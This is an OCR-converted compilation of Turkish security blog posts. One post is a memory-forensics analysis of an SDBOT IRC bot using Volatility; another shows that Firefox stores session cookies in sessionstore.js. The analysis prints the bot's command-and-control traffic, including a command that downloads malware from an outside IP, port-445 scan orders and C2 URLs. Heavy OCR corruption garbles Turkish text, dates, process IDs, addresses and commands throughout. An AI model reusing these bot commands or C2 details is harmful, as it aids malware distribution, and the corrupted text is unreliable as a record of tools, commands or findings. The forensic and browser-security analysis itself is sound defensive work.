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Merhabalar,

2009 yiinda "Bilgi glictlir ve paylasidikca artar” mofosuyla olugiurdugum siber giiveniik blogumda (hips://www.merisarica.com) , bilgi glivenkiji farkindabdini arirma adina cok sayda teknik yazya yer vermeye calighm. Yilar icinde
Tiirkiye'nin dért bir yanindan skddm olumiu geri dénigler sonucunda, yazdanmi yilar baznda e-kiap olarak derlemeye ve meraklian e paylasmaya karar verdim.

Emek, zaman ve kaynak ayrrarak yapsdm arasirmalar sonucunda yazdijim bu yazlann, siber glivenik alaninda kendini gelizirmek izteyenier icin umanm faydal clur.
Yeni yazlarla gériismek disdiyle...
Saygianmia,

Mert SARICA
Siber Glvenik Uzmam
hips:/fwww.merisarica.com
hips:/fwiter.com/mersarica

Bellek Analizi ile Zararh Yazilim Analizi

Source: https://www.mertsarica.com/adli-bilisimde-bellek-analizi/
By M.S on December 26th, 2011
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Yine bir giin twitter.com/hack4career hesabindan duyurulan hack edilmis ve/veya zararli yazilim barindiran web sitelerine goz atarken
giin agirt tespit edilen, cogunlukla iki harften olusan zararli yazilimlar (aa.exe, bb.exe vb.) ve bunlari barindiran IP adresleri dikkatimi
cekti. IP adreslerinden giincel olanin1 Google arama motoru iizerinde arattiimda malcOde.com isimli bir web sitesi ile karsilagtim.
Benim de ilk defa karsilastigim bu sitenin kurulus amacinin, ayn1 zararli yazilimlari barindiran ve yayan farkli web sitelerini birbirleriyle
iligkilendiren bir veritabani oldugunu 6grendim.
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Bu veritabani, tizerinde iilke bazli ve ASN bazli (Autonomous System Name) arama yapilabiliyor olmasi sayesinde zararl yazilim
analistlerinden giivenli barindirma hizmeti arayanlara kadar bir¢ok kisi tarafindan kullanmilabilir.
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ggg.exe uzantili dosyay1 barindiran ASN'e yonelik arama yaptigimda benzer isimli zararli yazilimlarin 2011 yilinin Ocak ayindan bu
yana ayni ASN iizerinde tespit ediliyor olmasi ve tespit edilen zararli yazilimlarin sayisinin 300" agkin olmas1 merakimi cezbetti ve
deneme yanilma ile hhh.exe ad1 altinda tespit ettigim zararl1 yazilimi kisaca incelemeye karar verdim.
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Bu defa daha 6nce gergeklestirmis oldugum aligilagelmis analizlerin aksine zararli yazilimin galistig1 sistemin bellegini diske kaydederek
bellek (memory) analizi gergeklestirmeye karar verdim.

Adli bilisimde bellek analizi (memory forensic) denilince akla gelen ilk ara¢ Volatility'dir. Aslinda arag dersek haksizlik etmig
olabiliriz ¢iinkii igin asli Volatility, Python ile yazilmis bir¢ok aractan olugan bir ¢atidr (framework). Volatility ile diske
kayit edilmis (dump) olan bellek dosyasini analiz ederek sistem iizerinde ¢alisan programlardan, ag baglantilarina, yiiklii
olan DLL'lerden, kayit defterinde (registry) yer alan anahtarlara géz atmaya kadar hedef sistem ile ilgili olan bir¢ok islem
gerceklestirebilirsiniz.

Volatility 2.0 siiriimii ile Windows XP SP2/SP3, Windows 2003 SP0/SP1/SP2, Vista SPO/SP1/SP2, Windows 2008 SP1/SP2 ve
Windows 7 SP0/SP1 sistem goriintiilerini (image) analiz edilebilmektedir.

Volatility ile analiz edecegimiz bellek dosyasini olusturmak igin éncelikle hedef sistem tizerinde MoonSols firmasi tarafindan
gelistirilen Dumplt programinin ¢alistirilmasi gerekmektedir.

ik is olarak hhh.exe dosyasm1 Windows 7 iizerinde ¢alisan Windows XP SP3 sistemine kopyaladiktan sonra Windows 7 {izerinde
Wireshark aracini caligtirarak zararli yazilim tarafindan hedef sistem tizerinde tiretilmesi muhtemel olan trafigi kayit altina almasini
sagladim. hhh.exe dosyasi iizerinde yer alan iistveriye (metadata) baktigimda Logitech firmasi tarafindan gelistirilmis bir aragmig gibi
kendini tanimladigini gérdiim. Ardindan hhh.exe isimli zararli yazilimi hedef sistem tiizerinde ¢alistirdiktan sonra daha 6nce hedef
sisteme kopyalamis oldugumu Dumplt aracini ¢aligtirarak sistemin bellegini diske kayit etmesini sagladim.


https://www.volatilesystems.com/default/volatility
http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/

Descripkion: Connection Ukility
Company: Logitech, Inc,

File Version: 4.60,122.0

Date Created: 22,12,2011 1§:52

:4 start

\Documents and Set
Dumplt — v1.3.2.208118481 — One click memory memory dumper

Copyright (c)> 2887 - 2811, Matthiew Suiche <http: /- wuww.msuiche.net>
Copyright <c> 2818 - 2811, MoonSols <http:/  www.moonsols.com>

Address space size: 536878212 bytes < 512 Mh>
Free space size: 6B61494272 bytes < 5788 Mh>
* Destination =

——2» Are you sure you want to continue? [usnl
+ Processing...

i4 start




Zararlt yazilimi galistirir ¢aligtirmaz Wireshark araci iizerinde HTTP ve IRC trafigi olustugunu gérdiim ve bir IRC istemci yazilimi ile
tespit edilen bu IRC sunucusuna baglandim. Sunucuya baglandigimda kanalin bos olmasi, botlarin ifsa olmasini engelleme adina 6zel
olarak gelistirilmig/modifiye edilmis bir irc sunucusu olduguna isaret ediyordu. Botun IRC kanalina giris yapar yapmaz, internete ¢ikis
yaptig1 ip adres blogunun 445. baglanti noktasini otomatik olarak taramaya (port scan) baglamasi da géziimden kagmadi. Wireshark
iizerindeki HTTP paketlerini inceledigimde ise botun NAT'lanmisg IP adresini 6grenebilmek i¢in bir ka¢ sayfaya baglanmaya galistigini
farkettim.
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HTITP_ACCEPT = text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET = IS0-8855-1,utf-8:q=0.7,*:q=0.3

HTTP_ACCEFT_ENCODING = gzip,deflate,sdch

HITP_ACCEPT_LANGUAGE = en-US,en;q=0.8

HTTP_CONNECTION = keep-alive

HTTP_HOST = www.pr0.net

HITP_USER_AGENT = Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHIML, like Gecko) Chrome/16.0.912.63 Safari/s3s.7
REMOTE_ADDR = 78.179.208.1

REMOTE_PORT = 27996

REQUEST METHOD = GET

REQUEST_URI = /deny2/azenv.php

REQUEST_TIME = 1324575554



ICK _TUR_XP. 207]

USER SP3-687 * 0 :MERT-6756C49361

:irc.dal.net NOTICE AUTH :*** Looking up your hostname...

:irc.dal.net NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
rirc.dal.net 001 [NOO_TUR_XP_1449297

:irc.dal.net 002 [NOO_TUR_XP_1449297] : mOdded by uNknOwn Crew

tirc.dal.net 003 [NOO. WK.XP_I‘492D?

:irc.dal.net 004 [NOO_TUR_XP_144 : www. UNKNOwN. eu - 1DBuNKNOwn. eu

:irc.dal.net 005 [NOO_TUR_XP_14492 7
005
005
4

:irc.dal. net NOO_TUR_XP_1449297

:irc. dal. net NOO_TUR_XP_1449297

:irc.dal. net Ilotl TUR_XP_1449297] :MOTD File is missing
: [NOO_TUR_XP_1449297] MODE Euﬂo _TUR_XP_1449297] :+iwG

MODE [NOO. Tum_:lugzg?] -

poIN #h . ...
MODE [NOO_TUR_XP_1449297] -ix
boIN #h .
MODE [NOO_TUR_XP_1449297] -ix
JI]IN #h .
e [NOO Tum_l449297] -ix
N #h
‘[m _TUR XP_1449297]!5P3- asn‘:‘a 1?9 203.- JOIN :#h
rc da'l net 332 E TUR_XP_144 ] #h :.asc -5 -5 |.http http://46.45.164.165/hhh.exe |.asc exp_all 15 5 0 -c -e |.asc exp_all 15 50 -b -r -e |.asc exp_all 15 §
-c |.asc e 10 5 0 a-r-e |.asc _all 10 5 0 -c -e
1rc dal mt‘g!! [wo0_ TULXP_I‘4929?] #h ; 324479020
PRIVMSG #hs :HTTP SET http://46.45.164. 16 hhh. exe
:irc.dal.net 401 [NOO_TUR_XP_1449297] #hs :No such nickf hannel
PRIVMSG #h :scan; Sequential Port Scan started on 78.179,208.0:445 with a delay of 5 seconds for 0 minutes using 15 threads.
rirc.dal.net 404 [NOO_TUR_XP_1449297] #h :vou must have a registered nick (+r) to talk on this channel (#h
PRIVMSG #h :scan; Random Port Scan started on 78.179.x.x:445 with a delay of 5 seconds for O minutes us 15 threads.

:irc.dal.net 404 [NOO_TUR_XP_1449297] #h :vou must have a registered nicl §+r) to talk on l:h1s channel
PRIVMSG #h :scan; Sequential Port Scan started on 192.168.18.0:445 with a delay of 5 seconds for 0 minutes using 15 threads.
.1r: dal. nel: 404 [ l_xP_:I.“929] #h :vYou must have a rs?is\:ered nick (*r) to tall: on this channel (#h

PRIVMSG :scan; Random P Scan started on 78.x.x.x:445 with a de‘l:¥ se or 0 minutes using 10 threads.
irc dn'l mt 404 [NOO ‘I'UI._XP_.].“.QZD?] #h :vou must have a registered nick é-tr) tu talk on this harne'ln?lh
PRIVMSG #h :scan; Sequential Port Scan started on 78.179.208. O 445 with a delay of 5 seconds for 0 minutes using 10 threads.
:irc.dal.net 404 [NOO_TUR_XP_1449297] #h :vou must have a registered nick (+r) to talk on this :hanm‘l (#h)
PING :irc.dal.net
oG irc.dal.net

[Entre conversaton (2544 bytes) |

End | Save ts Pt | ascn  ecoic € bexDump  camys @ Raw

: asc -5 -s | hitp http:|/46.45.164.165 /hhh.exe |.asc exp_all 155 0 -c -¢ |.asc exp_all 1550 -b -r - |.as] R =18]x|
W o eLGUOmLPS B s BOGIS
uﬂum_‘t.. O [T
e 2ot 2| Noo_TuR_xp_
=l -._;um 2
i - |
L #hs
# How talking in #@h
= Topic is ".asc -5 -s |.http http://86.45.164.165/hhh.exe |.asc exp_all 15 5 0 -c -e |.asc exp_all 15 5 @ -b -r -e |.asc exp_all 15 5
B -c |.asc exp_all 10 5 @ -a -r -e |.asc exp_all 10 5 @ -c -e' B
# Set by j on Wed Dec 21 16:50:20 =]
] S |

Zararli yazilim ile ilgili daha fazla bilgi almak i¢in Volatility ile bellek dosyasini incelemeye basladim.

ilk olarak PSLIST komutu ile sistem iizerinde ¢alisan islemleri (process) listeledim ve galistirlma zamanina gore zararl yazilimin sistem
iizerinde 2888 PID'sine sahip indek.exe adi altinda ¢alistigint gérdiim.



\Windows\system32\cmd.exe

% EgggEi;gg;tsgiifggg\gg%SE;lzzallty 2. B.gtandalone)uolatlllty exe pslist —f HERI’
Uolatile Systems Uolatility Framework 2.8
Offset(U> N PID PPID Thds Hnds Time
1970-01-01 66:00:008
2811-12-22 16:27:25
CSI'SS.exe 2811-12-22 16:27:27
winlogon.exe 2011-12-22 16:27:27
services .exe 2811-12-22 16:27:27
lsass.exe 2011-12-22 16:27:27
vmacthlp.exe 2011-12-22 16:27:28
suchost.exe 2811-12-22 16:27:28
svchost .exe 2811-12-22 16:27:28
suchost.exe 2811-12-22 16:27:28
suchost.exe 2811-12-22 16:27:29
2811-12-22 16:27:38
2811-12-22 16:27:31
2811-12-22 16:27:31
2811-12-22 16:27:32
2811-12-22 16:27:32
2811-12-22 16:27:32
2811-12-22 16:27:33
2811-12-22 16:27:49
2011-12-22 16:27:49
2811-12-22 16:27:49
2811-12-22 16:27:49
2811-12-22 16:27:57
2811-12-22 16:27:59
2811-12-22 16:28:88
2811-12-22 17:23:89
2011-12-22 17:23:21

-
-]

suchost.exe

-
rY

explorer.exe

-
=

spoolsv.exe
UHuwareTray.exe
UMvarellser.exe
Jusched.exe
ctfmon.exe
suchost.exe

Jus -exe
ShieSvc.exe
vmtoolsd.exe
UHUpgradeHelper

alg.exe
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wscntfy. exe

=
=

indek.exe

=

Dumplt.exe

DLLLIST komutu ile zararl1 yazilim tarafindan yiiklenen DLL dosyalarimni listeledigimde ise urlmon.dll ve cryptdll.dll dosyalar siipheli
duruyordu.

\Windows\system32\cmd.exe )

C:s\UserssMertsDesktopsUolswolatility—2_B_standalone>volatility.exe d11list —f HEI’
RT-6756C49361-20111222-172321 .raw —p 2888

Uolatile Systems Uolatility Framework 2.8

0303030 3030000303030 303030 o000 oo oo -Sef 0o 303030 JuE 0300303030330 -0 0o o - oo oo o
indek.exe pid: 2888

Command line : C:\WINDOWS“indek.exe

Service Pack 3

Size Path

AxA54000 G:N\WINDOWSNindek.exe

BxBh2B88 HINDOWS~system32 ntdll.d1l

BxBf 6080 HINDOWENsystem32:kernel32 . d11
Bx774eB0A8  Bx13d608A WINDOWS system32v0le32.d11

Bx77ddBana BxA7hBAA
WINDOWS s ystem32\RPCRT4.d11
IND:

Ax77e70080  Bx@?2080
Bx77f e BOAA BxA116868 oW~ system32 Becur3d2.dll
OUS~zystem32NUSER32.

B:x77f 18008 Bx849 8060

Hx7e418000 Bx891 68688

Bx77c1B8008 BxA58 000 HWINDOWE~system32 \msvcrt .
Bx763 780008 Bx81d8868
Hx71ahBBBn Bx817008
Hx71aaBBng BxB88 888
Hx3d9 3060600 BxBebBBB
B:x77f 68066 Bx876808
B8B83 chBBn Bx88? 888 G: \UINDOUS\gygtem32\NoPma11g.dll

Hx781 30060 Bx133888 GC:NWINDOWS s ystem32\urlmon.dll

Bx771 28008 BxB8haaA CsWINDOWS s ystem32N\0OLEAUT32 .d11

Bx3df dBBB6 Bx1eB88688 C:NWINDOUWS s ystem32\iertutil.dll

B:x7'73dB860 Bx1838688 C:NWINDOWSSHinSx8\x86_Microsoft.Windows .Common—Control
5 _6595h64i4dccfidf 6.8.2680.5512_ x—ww_35d4ce83~comct132.d11

Hx7c?chBBn Bx8170008 C:NWINDOWS s ystem32\SHELL32.d11

Bx5dB?Be00 Bx8%a888 GC:NWINDOUWS s ystem32hcomct132.d11

Bx5h8 68008 Bx8558808 C:sWINDOWSSsystem32snetapild2.dll

Bx76f 20000 Bx827088 C:WINDOUWS s ystem32hdnsapi.dll

Hx76d60008 Bx8198688 C:NWINDOWS s ystem32\iphlpapi.dll

B:x71h2B8008 Bx81268868 C=sWINDOWENsystem32 mpr.dll

Hx74320000 BxB3dB8a GC:NWINDOWS s ystem32hodhc32.d1l

Hx763hBBBA Bx8428608 C:NWINDOWS s ystem32hcomdlg32.dll

BxBBc e BBAA Bx81 70808 C:AUWINDOUS s ystem32 odbcint .d11

B:76hi BBBA Bx88hBBa C:WINDOWS s ystem32\psapi.dll

Bx71a580008 BxA3f B8R C:sWINDOUWESSystem32 \mswsock.dll

Bx76f hBBnn BxB88 888 C:NWINDOUS~System32\winrnr.dll

Bx76f 60000 Bx82c BBl WINDOWS s ystem32\WLDAP32 .d11

Bx76f cBAAA BxB06 000 HINDOWENsystem32\rasadhlp.dll

Hx662hBBBA Bx8588688 A

Bx71a780008 BxBB3 A
Hx76eeBBbin Bx83cBBn
Hx76e 20000 Bx81206008
Bx76ehBBaa BxB2f 808
Hx76e 80000 BxB8e B0
Hx76 h48008 Bx82d888
8767 c 8008 Bx8h48868
Hx77c 70000 Bx825888 |
Hx76'77 0000 BxB8c 8RR WINDOWS system32hcryptdll.dll
Bx722hABEA BxA085 868 CoNUWINDOWS system32isensapi.dll
Bx77c 80006 Bx888 888 C:NWINDOWS s ystem32\VERSION.d11

nnnnnnnnnnnnnn

HINDOWE Nz ystem3 2 rasman .
INDOWS~system32\TAPI32.d11
“system32iprtutils . dll

QOOOOOOOaOO0

C:sUserssMertsDesktopsUolswolatility—2_B_standalonery




CONNSCAN komutu ile sistem iizerindeki aktif ag baglantilarin listeledigimde ise 2888 PID'si ile ¢ok sayida baglanti kuruldugunu
gordiim.

LI

C:\UserssMertsDesktopsUolswolatility—2 . BA.standalone>volatility.exe connscan —f HI,
ERT-6756C49361-20111222-172321 . raw

Uolatile Systems Uolatility Framework 2.8

Offset Local Address Remote Address

Bx@1fh7348 192.168.18.128:1239 213.2082.225.48:88
Bx02@1eh28 112.0.8.0:7554 0.8.0.0:34933

002080278 192.168.18.128:1245 78.179.298 .4:445

BxB02@a21d0 192.168.18.128:1244 ?8.179.288.3:445

Bx020fe4?0 192.168.18.128:1240 74.206.242.164:880

BxB02117d48 192.168.18.128:1241 74.206.242.164:880

B:02119460 192.168.18.128:1079 8@.239.230.179:88

BxB02157168 192.168.18.128:1242 ?8.179.298.1:445 2888
BxB02157c50 B.0.9.8:58817 0.8.0.0:436818 2183857336
Bx021c9200 192_168.18.128:1243 78.179.2088_.2:445 2888
BxB21f0a70 192.168.18.128:1238 213.202.225.48:80 2888
BxB0224h320 216.134.217.17:20884 2179425192
002323328 B8.8.8.8:6227 2181753488
BxB023d12f0 0.8.0.0:38783 2188270048
BxB23e46f8 7.28 a ?8.116.1602.110:16429 12748
Bx024173a0 8.8.8.0:22676 2184243680
BxB0245h6cB 192.168.18.128:1237 46.45.164.166:81 2888

C:sUzerssMertsDesktopsUolvwolatility—2 . B.standalone?

PROCEXEDUMP komutu ile indek.exe yazilimina ait olan bellegi diske kaydettikten sonra strings ve IDA PRO programlar ile
inceledigimde ise bu zararl yazilimm SDBOT"n bir varyanti oldugunu kolayca anladim.



Windows\system32\cmd.exe A

C:sUserssMertsDesktopsUolswolatility—2.@.standalone>volatility.exe —f MERT-6756C

49361-20111222-172321 .raw procexedump —p 2888 -D memdump
Uolatile Systems Volatility Framework 2

Dumping indek.exe. pid: 2888 output: executable.2888.exe
C:sUzerssMertsDesktopsUolsvwolatility—2.B.standalone>y

Windows\system32\cmd.exe A

C:UserssMertsDesktop~Uol-wolatility—2.B.standalonesmendump’strings
888 .exe grep —i http:/~

http:/suvww.prB.netsdeny2azenv.php
http:/~www.cooleasy.comsazenv.php
http:/sbigfish8211@.bi.funpic.desazenviB4azenv.php

http:/78x183f .webuda.com/

C:sUserssMertsDesktopsUolswolatility—2 . B.standalonesmemdump?strings
ﬁBH.exe I grep —i irc
irc;

C:sUserssMertsDesktopsUolswolatility—2 . B.standalonesmemdump?strings
B888.exe | grep —i PRIUMSG

PRIUVMSG

PRIUVMSG s

C:UserssMert:Desktop Uol-wolatility—2.B.standalone~memdump>strings
888.exe | grep —i wwu.

Bysinternals — www.sysinternals.com

WG

http:/suvww.prB.netsdeny2azenv.php
http:/suwww.cooleasy.comsazenv.php

v . facebookvideocentral.com

wuw .merkurvideo.com

w . facehbookvideocentral.com

v -merkurvideo . com

C:sUserssMertsDesktopsUolsvolatility—2 . B.standalonesmendump >y

executahle .2

executahle .2

executahle .2

executahle .2




:i: IDA - C:\Documents and Settings\A dministraior\Desktop\wolatility- 2.0.standalo ne\memdumplexecutable. 2BBB. exe
Fle Edt Jump Search View Debugger Options ‘Windows Help

R ~- LY 1 |[Tent - 3| L] -
3 E "HAS /8 DENY aT v ne

Ben WEWE v - = NX - 0-"SHK-H~J | : i W% &A& F 3
Bre BB FAA
~ R

Vil Functions wndow  E1E3 | 3 3 IDAViewA €3 53 HexViewa |3 B Structwes | E3EN Enume | EIER Imports | £330 Exports v
Functon name & | |
i1 sub_401000
Wb 401162 dword ptr [esi] ; 1pString2
b -u:_mnc-a offset allpdatd ; “updsta’
g ; 1strempin
N sb_401207 ::: R rempid
Y .
&£ sub_401300 short loc_ hB28DA
7) sub_401 338
i wb_401818
i) sub_401ESF [ENuw
SPwb_mFCY push dword ptr [esi] ; lpString2
N suby_4020CE push  offset aRemove : “remous’
) sub_402116 call edi ; lstrcmpif
i) ub_40214F test eax, eax
N sub_402288 iz loc IlB:IIl:I!
i Stanadchess 3 5
bl
7} b _402602
M) sub_402610 (BNl
N sub_402755 push dword ptr [esi] ; 1pString2
\ push offset aRmzermdbitch ; “rnzernabitch
\: Ti_:g‘;ﬁg call edi ; lstrcmpin
e i test eax, eax [
L ub_M030F jnz short loc WO290F
O WinMainbuoes) v I |
< > 7 [
Line 18of 123 100.00% (8004,1617) (757,103) OODOICCA  OOMO2BCA: sub 40282C+9E

e

LT Doowart  Dush: 4GB Chck and drag to delete from selection; DbClck on edge to jump to its source; Wheel to scroll horizontally

Son olarak zararli yazilim {izerinde yer alan zaman damgasina baktigimda ise SDBOT varyantinin hemen hemen hergiin giincellenip
derlendigi sonucu ortaya ¢ikiyordu.

2 PE Explorer - C:\Documents and Settings‘Mdministrator\Desktopihhh.exe

File  “iew  Tools Help

-3 W DERE FRRFOAS| FHDEE| @

HEADERS INFO

_1:_] Address of Entry Paint: (00401535 o/ | Realimage Checksum: l:l m

Field Mame D ata Value Description Field Mame [ ata Value Description
Machine 014Ch i3BEE Section Alignment 00007 000k
Mumber of Sections 0003k File Alignment 00007 000k

ime [ np : 4 Operating System Yersion 00000004k 4.0
Pointer ta Symbol Table 00000000k Image Yersion 000C0003h 312
Mumber af Symbalz 00000000k Subsystem Yersion 00000004k 4.0
Size of Dptional Header 00E Ok Win32 Yersion Yalue 00000000k Feserved
Characteristics M0Fh 5 Size of Image 0002C000kH 180224 bytes
Magic 010Bh PE32 Size of Headers 00001 000k
Linker Yersion 0006k B0 Checksum 00024164h
Size of Code 00014000k Subsystem 002k Win32 GUI
Size of Inifialized Data 00017000k DIl Characteristics 0000k
Size of Urinitialized D ata 00000000k Size of Stack Reserve 007100000k
Addresz of Entry Point 00401538k Size of Stack Commit 00007 000k
Baze of Code 00001 000k Size of Heap Reserve 001 00000k
Baze of Data 00015000k Size of Heap Commit 00007 000k
Image Baze 00400000k Loader Flags 00000000k Obszalete

Mumber of Data Directories 00000010k

For Help, press F1

Goriildiigh iizere bellek analizi ile zararli yazilimlar, dinamik analiz kadar olmasa da rahatlikla analiz edilebilir ve yeterli bir elde
edilebilinir. Ozellikle bu yazida deginmedigim diger Volatility komutlarina (malfind, gdt, apihooks, idt, vb.) géz atacak olursaniz bellek
analizi ile rootkit yazilimlarini dahi tespit etmeniz miimkiin olabilir.

Bir sonraki yazida goriismek dilegiyle yeni yilin herkese saglik, mutluluk ve bol kazang getirmesini dilerim.

Firefox Oturum Geri Yiikleme Ozelligi

Source: https://www.mertsarica.com/firefox-oturum-geri-yukleme-ozelligi/



http://code.google.com/p/volatility/wiki/CommandReference
https://www.mertsarica.com/firefox-oturum-geri-yukleme-ozelligi/
https://www.mertsarica.com/firefox-oturum-geri-yukleme-ozelligi/

By M.S on December 12th, 2011

e

Accuvant firmasinin yaptig1 aragtirmaya gére Chrome internet tarayicisinin rakiplerinden daha giivenli oldugu ortaya ¢ikmis. Arastirma
sonucunda ortaya ¢ikan siralamada Firefox internet tarayicisinin ligiincii sirada yer almasi kimilerini sasirtsa da beni pek sasirtmadi.

Gectigimiz giinlerde bir web uygulamasi iizerinde penetrasyon testi gerceklestirirken islem (transaction) bazli jeton (token)
kullanilmamas1 durumunda oturum ¢erezini (session cookie) ¢alan art niyetli bir kisinin kurbanin oturumunu ¢aldiktan (session hijack)
sonra uygulama tizerinde hangi islemleri rahatlikla gerceklestirebilecegini diisliinliyordum. Daha sonra oturum g¢erezinde HTTPOnly
bayraginin kullaniliyor olmasi nedeniyle bu riskin gerceklesme ihtimalini diisinmeye basladim. Ardindan isletim sistemine bulagan
zararli bir yazilimin oturum ¢erezini ¢almak i¢in izleyecegi yollar1 diisiinmeye basladim. Oturum ¢erezi hafizadan (RAM) ne kadar
rahatlikla calinabilirdi ? Meshur bankacilik truva atlar1 (zeus, spyeye) gibi internet tarayicilari ile iliskili dosyalara kanca (hook) atarak
mi ¢almak daha kolay olurdu diye diisiinlirken dosya sistemi iizerinde tutulan normal ¢erezlerden farkli olan oturum g¢erezlerinin dosya
sistemi iizerinde tutuluyor olma ihtimaline nedense pek ihtimal vermiyordum ancak yine de gdz atmaya karar verdim.

Oncelikle sanal makine iizerine Chrome (15.0.874.121), Firefox (8.0.1) ve Internet Explorer (9.0) internet tarayicilarinin en son
stirimlerine kurdum ve {i¢ internet tarayicisi ile oturum gerezi ile birlikte giivenlik bayragi (secure flag) ve HTTPOnly bayrag: kullanilan
bir web sitesini ziyaret ettim. Ardindan web sitesi tarafindan her bir internet tarayicisina gonderilen oturum gerezini not ederek
internet tarayicilari tarafindan kullanilan klasorlerde bu ¢erezleri arattigimda sadece Firefox internet tarayicisinin oturum gerezini dosya
sisteminde kayit altina aldigin1 gérdiim.

JEESSIONID

0000 dvibpel MTeS1 MawDfQGY0E 162uTac2o

AtEnd Of Session

Set-Cookie: JSESSIONID=0000YdvIbpyLNTcS1MNOwDFQGY0E: 162u7ac2o; HTTPONly; Path=/; Secure

Search Criteria gj

General lText file format] Filters ] Fiegular expression Iookup]

Search String:

| 0000 dhvlbpyLNT o5 1NQwDIGY 06 ~|

& Mormal [Regular expressions] [ Whole Words Only
" Soundex [ Match Case
" Quick [Mo regular expressionz] [ Inwert match [+]

[~ Stop after first match
File Specifications:
I =

[~ SkipTestFiles [ SkipBinary Files v Lok inZIPs

Folders:

|menls and Settings\Aadministratordpplication Datastozilay'{ jJ

v Becursefolders v Count Files Fist [ Skip _wh*

Ok | Cancel | Help |
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http://www.accuvant.com/capability/accuvant-labs/security-research/browser-security-comparison-quantitative-approach
https://www.google.com/chrome/index.html?hl=tr&brand=CHMA&utm_campaign=tr&utm_source=tr-ha-emea-tr-bk&utm_medium=ha
http://www.mozilla.org/tr/firefox/new/
https://www.owasp.org/index.php/Session_hijacking_attack
https://www.owasp.org/index.php/HttpOnly

P Windows Grep 2.3
Ble Edt Jearch Vew Options Window Hep

EH8 Y2V P wBB P EDR ?

[0000YdVIbpVLNTCS INQWDFQGVOS' in *; 1 matches in 1 file. 57 fles saarched, 0 fies skipped. 1530,37 Kb searched in Om Os (1530,37 KJs)

Name (71 Tme [ Folder [ Maiches | Size | Dale/Tme [
;‘(]mmm!cneu B JScipt Sciipt Fie C\Documents and Safting 1 242081 12122011 13 24.04

Search complete

B sessionstore. js - Notepad

Blo Edt Fomat View el

{"windows": [{"tabs":[{"entries”: [{"url1”:"https:// ‘,"t1t1e":"—"."ID"MI. “docshel1ID":6, "docIdentifier”:
|e}1}], "selectedwindow":1, "_closedwindows": [], "session”:{"state”:"running”, "lastupdate" :1323712125352, "startTime" 1323707149813 } }f

Sessionstore.js dosyasinda yer alan objeler JavaScript Object Notation (JSON) formatinda saklandig1 i¢in kolay okunabilmesi adina
jsbeautifier.org sitesinde icerigi diizenlettigimde oturum ¢erezi okunabilir hale geldi.
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' 1) Criine JavaScript beautifier - = raix
C O gbeautfer.org o A

Beautify JavaScript indent with 4 spaces .
Braces with control statement %

[l Preserve emply lines?
[ Detect packers and obfuscators?
[ keep array indentation?

Beastify, unpack of deobfuscate JavaScript,
make JSON JSONP eadable, ote.

Al of the source code it avalable on the gifub,
and we have & command-ine version and 8
python rary as well

JSBeautifier it — and abways will be —
compietety free and open, and your thanks, flsttrs
and donations are very heartwarming — thank
you o 30 muchi

(ke aconstion) (S IS

Browser extensions and other uses

A ookmatkiet (drag # 10 your bockmarks) by
ichiro Hiroshi to see o scripts used on the page,

Chaome: (3 e by Tom Rix,
Chaome Froft ful JavaScript by Wl
McSweeney,

Firefox Java bry Ben Murpiy,

0 be uzed topether with the firebug (afhu)
Safari 3 by Sandro Padin,

1ipt (glhub) by Dither
dension h',' Deathamen:

Akelpad = 5000 calcher,

1 Emacs write-up by Seth Mason,

Cloudd. o lovely IDE running in & browser, working

in the nodeicioud, uzes jsbemdtifier (gfhub), -

Peki ne Chrome, ne Internet Explorer internet tarayicisi oturum g¢erezini dosya sistemi iizerinde okunakli olarak saklamazken Firefox
sakliyordu ve saklamasinin son kullaniciya ne tiir bir etkisi olabilirdi ?

Web siteleri sizi her oturumda size &zel iiretilen oturum cerezleri {izerinden takip eder, dogrular ve isleminizi gergeklestirir. Ornek
olarak bir internet bankaciligr uygulamasi diigsiinelim. Uygulamaya giris yaptiktan sonra uygulama size o oturuma 6zel bir oturum
gerezi gondererek sizin dogrulama adimlarindan basariyla gegtiginizi kabul eder ve gergeklestireceginiz her islemde (islem bazli jeton
kullanilmadigi durumlarda) oturum ¢erezinizi kontrol ederek isleminizi ger¢eklestirir.

Peki ya bu oturum ¢ereziniz ¢alinirsa ne olur ? Art niyetli kisi sizin adiniza gergeklestirmeye yetkili oldugunuz tiim islemleri (para
transferleri, doviz alis/satis vs.) gergeklestirebilir. Iste bu nedenle oturum cerezlerinin dosya sistemine kayit edilmesi ve zararli yazilimlar
tarafindan kolaylikla ¢alinabilir olmasi tercih edilmez.

Peki Firefox internet tarayicisi bunu neden yapiyor ? Beklenmeyen bir durumda (crash), yeni bir eklenti yiiklendikten sonra veya otomatik
giincellestirme sonrasinda internet tarayicisinin yeniden baslatilmasi gibi ihtiyaglar ortaya ¢ikt181 icin oturumlarin kaldig1 yerden devam
edebilmesi (session restore) amaciyla oturum gerezlerini Sessionstore.js dosyasinda saklamaktadir.

Her ne kadar sisteme bulasmis zararli bir yazilim giiniin sonunda hangi internet tarayicisi olursa olsun bellekten okuma, kanca
atma ve diger yontemler ile oturum gerezlerini galabilse de kullandiginiz internet tarayicinizin art niyetli kisilerin islerini bu kadar
kolaylagtirmiyor olmas1 gerekmektedir.

Giivenliginiz i¢in oturum geri yiikleme (session restore) 6zelligini devre dist birakmanizi 6neririm. Bunun i¢in asagidaki iki degeri 0
olarak degistirmeniz yeterli olacaktir.
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! about:config - Mozilla Firefox

€ > about:config - ¢||89- VAt

@ Disable- § Cookies~ # €55 5 Forms~ [ Images () Information- L} Miscelansous- » Outine- 3§ Resize- B Tooks+ | View Source~ [} Options= L4
Eiker: | session X
Preference Name ~  Status Type Value =
browser. sessionhistory. max_entries defauit integer 50

browser. sessionhistory.max_total_viewers default integer -1

browser. sessionstore. interval default integer 15000

browser. sessionstore.max_resumed_crashes def ault inkeger 1

browser. sessionstore. max_windows_undo default inkeger 3

browser. sessaonstone. postdata default integer o

browser. sessionstore. privacy _level default inkeger 0

browser. sessionstore. privacy_level_deferred default inkeger 1

browser. sessionstore. restore_hidden_tabs default boolean False

browser. sessionstore. restore_on_demand defauk boolean fakse

browser. sessionstors. resume_from_crash difault boolean true

browser. sessionstore. resume_session_once default boolean False

extensions. getAddons. get url def st string hitps:|fservices. addans. mozila. orgf %L OCALE %/Fi Yo lP1_WERSTON%/ guid: %ID5% ?sremfiref P0G 05 Yol
network. cookie. ahvaysAccept SessionCookies default boolean false

network. cookie. thirdparty. sessionOnky defandt boolean False

privacy .chearOnShutdown, sessions difault boolean true

privacy .cpd. sessions default boolean true

